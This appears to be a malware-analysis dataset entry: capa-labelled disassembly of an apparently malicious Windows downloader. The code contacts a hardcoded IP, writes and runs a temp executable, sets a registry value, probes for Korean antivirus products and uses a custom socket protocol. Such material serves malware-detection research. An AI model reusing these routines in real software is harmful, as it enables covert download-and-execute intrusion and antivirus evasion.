joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401123
Capabilities:
Create thread

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [esp + 0x14]
lea eax, [esp + 0x18]
mov edi, ecx
push eax
call fcn.0040117e
xor ebp, ebp
pop ecx
pop ecx
mov ebx, dword [eax]
mov dword [eax], ebp
cmp dword [esp + 0x14], ebp
je 0x401152
push 4
push dword [esp + 0x18]
call fcn.004021ef
pop ecx
pop ecx
lea esi, [edi + 4]
push esi
push ebp
push ebx
push 0x401107
push ebp
push ebp
call fcn.004073c7
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x401174
pop edi
pop esi
pop ebp
pop ebx
ret 4
push 6
mov dword [esi], ebp
call fcn.00401f1c
int3

Function at 0x40157f
Capabilities:
Encode data using xor

Disassembly:
push ebp
xor ebp, ebp
push esi
mov esi, ebp
cmp dword [esp + 0x10], esi
jbe 0x4016ad
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_InitializeAcl]
push edi
mov edi, dword [esp + 0x14]
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0x96
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x84
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x2d
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0xb1
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0xe2
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0xfa
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0x92
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x2a
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x7b
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0x11
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x8e
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0xe1
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x3b
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0xb0
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0xa3
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x15
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x9c
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x9c
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0xb4
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0xb3
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x76
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x4d
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x7a
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x8c
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x52
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x2a
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0x28
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x7f
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x72
inc esi
cmp esi, dword [esp + 0x18]
jb 0x40159b
pop edi
pop ebx
pop esi
pop ebp
ret
Function at 0x462a2d
Capabilities:
Encode data using xor

Disassembly:
sub ecx, ebx
pushfd
jmp 0x4845c8
not si
pop esi
lea esi, [esp + 4]
and al, 4
call fcn.0047ef2d
dec ebp
mov dl, 0x13
inc esi
lahf
in al, 0xe3
add al, 0x97
mov bl, 0xc0
popal
xor ah, cl
cmp byte [edi - 0x6de72482], al
out 0x7b, al
and esp, dword [esi - 0x1856d9a1]
mov edi, 0xf2e2ce46
and eax, 0x53009d02
mov al, byte [0x83eba680]
adc eax, 0x41716e8
add al, 0xb3
out dx, al
jns 0x4845ce
cdq
mov edx, 0xe02d6809
push es
mov ah, 0x79
cld
iretd

Function at 0x48228c
Capabilities:
Encode data using xor

Disassembly:
pushfd
mov word [esp + 4], di
mov word [esp], 0xfcd7
lea esp, [esp + 8]
jae 0x45ab93
shr bl, cl
mov ebx, eax
pushal
setbe cl
sub di, 0xbdb
shl dword [esi - 0x7f], 0xef
fisttp dword [ebx]
bts di, bp
mov edi, eax
bsf cx, bp
btc ecx, 3
call fcn.00480f80
xor al, byte [ebx - 0x40a3f07c]
push es
arpl word [esi + 0x81ffaff], si
mov edx, 0x927feabd
mov ebx, 0x1a1f3e6c
dec ecx
sbb al, 0x67
shl dword [esi - 0xa0bb014], 0x30
inc ecx
cmpsb byte [esi], byte es:[edi]
scasb al, byte es:[edi]
fmul qword [ebx + 0x6f2d778f]
sbb byte [eax - 0x1508d37f], ch
mov al, byte [0xd338af8]
xchg esp, eax
pushal
push esi
clc
mov al, byte [0x7bbfb531]
out dx, eax
xor al, 0x90
jae 0x45b4bf
mov esi, 0xa4a3486b
movsb byte es:[edi], byte [esi]
push 0xe660ebba
shr dword [edx - 0x1419877f], 1
or edx, dword [ebp - 0x6da9cb7c]
adc eax, 0x4c95dae8
loope 0x45b54a
mov eax, dword [0xeea74a31]
xor dword [edx - 0x59], ecx
out dx, al
inc edx
xor byte [ebx + 0x5d278aa1], dh
daa
pop ebp
cmp al, 0x3e
mov eax, dword [0xeb22baa9]
iretd
test eax, 0xcfeb22ba
cmpsb byte [esi], byte es:[edi]
stosd dword es:[edi], eax
loopne 0x45b53c
xchg ebx, eax
pop edx
out dx, al
mov ebp, 0x1b9aaa84
or byte [edi + 0x29d8cf43], dh
pop esp
wait
mov edx, 0x906b30f7
outsd dx, dword [esi]
fisubr word [ecx + 0x689fd9f8]
dec ebx
cmp ebx, dword [eax]
clc
call fcn.0049d27c
test dword [esi], 0x6882c25e
sub esi, esi
pop eax
clc
neg byte [eax - 8]
call fcn.0049c871
pop es
jno 0x45b57f
ljmp 0xf571:0x7000412
scasb al, byte es:[edi]
jg 0x45b545
and eax, 0x2334cf8c
mov eax, 0x6877f4f1
mov bl, 0xf2
cmp edi, esp
js 0x45b599
xlatb
inc ebp
inc edi
cmp eax, 0x91e201e0
in eax, 0xd3
add eax, 0x6b140b71
xor al, 0xe3
or ecx, dword [edi + 0x59]
push ecx
push ecx
lodsd eax, dword [esi]
jmp 0x45b583
add eax, edi
test si, 0xae7d
bt si, bx
pushal
cmp eax, edx
mov word [esp], 0x539f
lea esp, [esp + 0x24]
jb 0x45ab93
cmp dl, ah
push edi
mov byte [esp], 0xf7
cmp eax, dword [esp + 4]
jmp 0x45b4a2
Function at 0x484b49
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movsx ax, cl
lahf
push ebp
aam 0xf8
pushfd
xchg bp, ax
movsx eax, al
mov dword [esp], esi
add bp, 0xb021
test sp, 0x559
cmp cx, si
push edi
neg ah
push ebx
aaa
inc ebp
push edx
aad 0xe4
daa
push edx
movzx bp, cl
shr bp, cl
add bp, 0xd5e1
lea ebp, [esp + 0x1c]
and ax, 0x2782
adc al, ch
mov eax, dword [ebp]
pushfd
lea esp, [esp + 4]
jl 0x48778f
push 0x7eca6c31
mov dword [esp], 0x9cccc512
test eax, eax
call fcn.00487b35
pushal
cmp bh, 0x90
test eax, eax
mov dword [esp], edi
lea esp, [esp + 0x20]
je 0x47e4c6
rcl si, cl
or si, bp
seto dl
pushal
mov esi, dword [eax + 0x3c]
shrd dx, dx, cl
add esi, eax
dec dh
bswap dx
and edx, 0xc28bd6a8
neg dh
mov edx, dword [esi + 0x78]
pushal
jmp 0x479f06
Function at 0x4012c0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
push 0x206
xor esi, esi
lea ecx, [esp + 0x12]
xor eax, eax
push esi
push ecx
mov word [esp + 0x18], ax
call fcn.00414570
add esp, 0xc
cmp edi, esi
je 0x4013a8
mov eax, 0x42d448
mov dword [esp + 4], esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x401305
sub eax, edx
sar eax, 1
je 0x40132f
push 0x42d44c
lea edx, [esp + 8]
push 0x42d448
push edx
call fcn.0041229f
add esp, 0xc
jmp 0x40136a
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42d454
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.0041215c
push 0x42d470
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.0041229f
add esp, 0x18
mov eax, dword [esp + 4]
cmp eax, esi
je 0x40138d
push eax
push 1
push 0x200
push edi
call fcn.00412804
mov ecx, dword [esp + 0x14]
push ecx
call fcn.00412626
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0041214d
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0041214d
add esp, 0x214
ret

Function at 0x4013c0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00414570
mov edx, dword [esp + 0x21c]
add esp, 0xc
cmp dword [edx], 3
jne 0x401423
push 0x104
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42d444
lea ecx, [esp + 4]
push 0x104
push ecx
call fcn.0041215c
add esp, 0xc
jmp 0x401432
lea edx, [esp]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [esp + 4]
push eax
push str._s_s.exe
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.0041214d
add esp, 0x20c
ret 4
Function at 0x401460
Capabilities:
Set registry value

Disassembly:
sub esp, 0x2d8
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x2d4], eax
xor eax, eax
push 0xc6
push eax
lea ecx, [esp + 0xe]
push ecx
mov dword [esp + 0xc], 0
mov word [esp + 0x10], ax
call fcn.00414570
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0xe2]
push eax
mov word [esp + 0xe4], dx
call fcn.00414570
push str.Software_
lea ecx, [esp + 0x20]
push 0x64
push ecx
call fcn.00412886
push str.Microsoft_
lea edx, [esp + 0x2c]
push 0x64
push edx
call fcn.0041215c
push str.Windows_NT_
lea eax, [esp + 0x38]
push 0x64
push eax
call fcn.0041215c
push str.CurrentVersion_
lea ecx, [esp + 0x44]
push 0x64
push ecx
call fcn.0041215c
add esp, 0x48
push str.Windows
lea edx, [esp + 8]
push 0x64
push edx
call fcn.0041215c
push esi
lea eax, [esp + 0xdc]
push 0x104
push eax
call fcn.00412886
add esp, 0x18
lea ecx, [esp]
push ecx
push 3
push 0
lea edx, [esp + 0x10]
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401581
lea eax, [esp + 0xcc]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401544
sub eax, edx
mov edx, dword [esp]
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea ecx, [esp + 0xd0]
push ecx
push 1
push 0
push 0x42d500
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401581
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x2d4]
xor ecx, esp
xor eax, eax
call fcn.0041214d
add esp, 0x2d8
ret
Function at 0x4021c0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
sub esp, 0xbe8
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0xbe4], eax
push esi
mov esi, dword [esp + 0xbf0]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x436bf0
push 0x67
push esi
call edi
push 0x64
push 0x436b28
push 0x6d
push esi
call edi
mov eax, esi
call fcn.004023a0
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x436bf0
push 0x436b28
push 0
mov dword [0x436cb8], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x402286
push ebx
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, 0x433fa0
call fcn.00402a69
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call ebx
lea eax, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0xc]
call fcn.004015a0
test eax, eax
je 0x40227c
call fcn.004031b1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402770
test eax, eax
jne 0x40229f
pop ebx
mov ecx, dword [esp + 0xbec]
pop edi
pop esi
xor ecx, esp
call fcn.0041214d
add esp, 0xbe8
ret 0x10
mov ecx, dword [0x437340]
test ecx, ecx
jbe 0x4022c9
cmp word [0x437344], 0
jbe 0x4022c9
mov esi, str.218.54.31.226
call fcn.004038d4
mov ax, word [0x437344]
mov word [0x433fbc], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push str.tmp4_X.exe
mov edx, 0x4378b8
call fcn.00402a50
call fcn.00403992
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x9fa]
push eax
mov word [esp + 0x9fc], dx
call fcn.00414570
lea edi, [esp + 0x9fc]
call fcn.00403938
push 0x42d164
mov ecx, edi
push 0x104
push ecx
call fcn.0041215c
push 0x4378b8
mov edx, edi
push 0x104
push edx
call fcn.0041215c
add esp, 0x2c
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402376
push 0x1f4
call ebx
push 1
push 0
push 0x42d168
mov ecx, edi
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call ebx
test byte [0x43723c], 7
je 0x40238b
call fcn.00401ec0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x402430
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.00414570
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.00414570
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str.HangameKOREANHanUninstall.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push 0x42d1b4
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4024d6
mov ebx, 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42d208
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x402501
or ebx, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42d264
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x40252c
or ebx, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42d2c4
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x40255a
or ebx, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42d324
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x402588
or ebx, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42d390
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4025b6
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.0041214d
add esp, 0x414
ret
Function at 0x402a69
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x432c20]
xor eax, ebp
mov dword [ebp + 0x9c], eax
and dword [esi], 0
push 0x118
lea eax, [ebp - 0x7c]
push 0
push eax
call fcn.00414570
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402afc
mov ecx, dword [ebp - 0x78]
xor edx, edx
inc edx
cmp dword [ebp - 0x7c], 5
jne 0x402ae0
test ecx, ecx
jne 0x402acb
cmp word [ebp + 0x94], 4
jb 0x402afc
mov dword [esi], edx
push 2
pop eax
cmp ecx, eax
jne 0x402ad4
mov dword [esi], eax
jae 0x402ada
cmp ecx, edx
jne 0x402afc
mov dword [esi], 3
cmp dword [ebp - 0x7c], 6
jne 0x402afc
test ecx, ecx
jne 0x402af2
mov dword [esi], 4
jmp 0x402afc
cmp ecx, edx
jne 0x402afc
mov dword [esi], 5
mov ecx, dword [ebp + 0x9c]
xor ecx, ebp
call fcn.0041214d
add ebp, 0xa0
leave
ret

Function at 0x402b90
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x432c20]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.00414570
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x402c42
push edi
mov edi, str.golfinfo.ini
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x402bdb
sub eax, edx
sar eax, 1
je 0x402c41
lea eax, [ebp - 0x74]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.0041215c
push 0x42d68c
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.0041229f
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x402c41
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00412592
push dword [ebp - 0x78]
call fcn.00412626
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.0041214d
add ebp, 0x198
leave
ret

Function at 0x402d21
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x432c20]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00414570
and dword [ebp - 0x214], 0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.00402eb3
push dword [ebp - 0x214]
call fcn.00402fa0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x402d99
xor eax, eax
jmp 0x402da0
push esi
call fcn.00402c5b
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041214d
leave
ret
Function at 0x403f47
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403fc4
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x403f6e
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x403f62
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.00407cee
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, str.AS101
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00418860
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403fc7
cmp eax, dword [ebp - 4]
jne 0x403fc7
mov dword [ebp - 8], 1
jmp 0x403fc7
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403fd2
push ebx
call fcn.00407d1d
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret

Function at 0x40416b
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x432c20]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x4041a9
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x4042c7
cmp edi, ebx
je 0x4042c7
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.00414570
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x4042c7
cmp eax, ebx
je 0x4042c7
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.00407cee
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x4042b2
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x404290
test eax, eax
je 0x404290
add ebx, eax
cmp edi, ebx
jg 0x404218
push 5
pop ecx
cmp ebx, ecx
jl 0x4042b2
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, str.AS101
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x4042b2
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x404270
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x40426a
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x404298
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.00418860
mov dword [esi], ebx
jmp 0x4042a5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4042b2
push eax
push ecx
push dword [ebp - 0x868]
call fcn.00418860
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x4042c7
push dword [ebp - 0x860]
call fcn.00407d1d
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041214d
add ebp, 0x70
leave
ret
Function at 0x404518
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.00416a20
mov eax, dword [0x432c20]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x40455e
xor eax, eax
jmp 0x4045a6
cmp dword [ebp - 0x78], ebx
jbe 0x404595
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x404595
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.00412804
add ebx, dword [ebp - 0x80]
add esp, 0x10
cmp ebx, dword [ebp - 0x78]
jb 0x404563
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.00412626
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.0041214d
add ebp, 0xf90
leave
ret

Function at 0x4045bd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IDR_BINARY
mov ebx, eax
push 0x81
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebp, eax
cmp ebp, edi
je 0x40462a
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebp
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.00407cee
push esi
mov edi, eax
push 0
push edi
call fcn.00414570
push esi
push ebp
push edi
call fcn.00418860
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop esi
mov eax, edi
pop edi
pop ebp
pop ebx
ret

Function at 0x404630
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40465d
push dword [ebp + 8]
call fcn.004046d3
pop ecx
cmp eax, dword [ebp + 0x10]
jne 0x40465d
inc ebx
jmp 0x4046ca
mov edi, 0x200000
push edi
call fcn.0041351a
pop ecx
mov esi, eax
push esi
push dword [ebp + 0x10]
mov dword [esp + 0x18], edi
push dword [ebp + 0xc]
lea edi, [esp + 0x1c]
call fcn.00404728
add esp, 0xc
test eax, eax
je 0x4046c3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0041317d
pop ecx
call fcn.00403097
mov edi, dword [esp + 0x10]
push eax
lea ebx, [edi + esi]
mov dword [esp + 0x18], eax
call fcn.0040316f
add edi, dword [esp + 0x18]
pop ecx
push edi
push esi
push dword [ebp + 8]
call fcn.00404796
add esp, 0xc
mov ebx, eax
dec ebx
neg ebx
sbb ebx, ebx
inc ebx
push esi
call fcn.00413a8d
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407477
Capabilities:
Get common file path

Disassembly:
push ecx
cmp dword [ebx], 0
push esi
push edi
jne 0x40751d
cmp dword [ebx + 4], 0xffffffff
jne 0x40751d
lea esi, [ebx + 0x244]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x4074a4
sub eax, edx
sar eax, 1
movzx eax, word [ebx + eax*2 + 0x242]
cmp ax, 0x5c
je 0x4074db
cmp ax, 0x2f
je 0x4074db
dec esi
dec esi
mov ax, word [esi + 2]
inc esi
inc esi
test ax, ax
jne 0x4074c8
mov edi, esi
mov esi, 0x42d694
movsd dword es:[edi], dword [esi]
push 0x20
call fcn.00407cee
and dword [eax + 0x1c], 0
and dword [eax + 0xc], 0
pop ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 0x14], ecx
mov ecx, dword [esp + 0x14]
push eax
mov byte [eax], 0
mov byte [eax + 1], 1
mov byte [eax + 0x10], 0
mov dword [eax + 0x18], ecx
call fcn.004069e8
mov dword [ebx], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x407522
mov eax, 0x1000000
pop edi
pop esi
pop ecx
ret 8

Function at 0x41214d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x432c20]
jne 0x412157
repz ret
jmp fcn.00416a4b